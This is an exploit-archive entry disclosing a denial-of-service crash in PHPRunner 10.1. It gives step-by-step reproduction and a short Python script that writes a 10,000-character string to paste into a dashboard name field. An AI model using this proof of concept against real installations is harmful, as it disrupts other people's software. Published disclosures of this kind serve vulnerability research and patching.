发布 2019-05-10 漏洞条目

PHPRunner 10.1 – Denial of Service (PoC)

Exploit Source

#Exploit Title: PHPRunner 10.1 - Denial of Service (PoC)

#Discovery by: Victor Mondragón

#Discovery Date: 2019-05-09

#Vendor Homepage: https://xlinesoft.com/

#Software Link: https://xlinesoft.com/phprunner/download.htm

#Tested Version: 10.1

#Tested on: Windows 7 Service Pack 1 x64

#Steps to produce the crash:

#1.- Run python code: PHPRunner_10_1.py

#2.- Open PHPRunner_10_1.txt and copy content to clipboard

#3.- Open PHPRunner

#4.- Click on "Next" > Select "Microsoft Access" database > click on "Next"

#5.- Click on "Create new database" > click on "Create table"

#6.- Select "Create dashboard" > in "Name" field Paste Clipboarad

#7.- Click on "Ok"

#8.- Crashed

cod = "\x41" * 10000

f = open('PHPRunner_10_1.txt', 'w')

f.write(cod)

f.close()

相关漏洞条目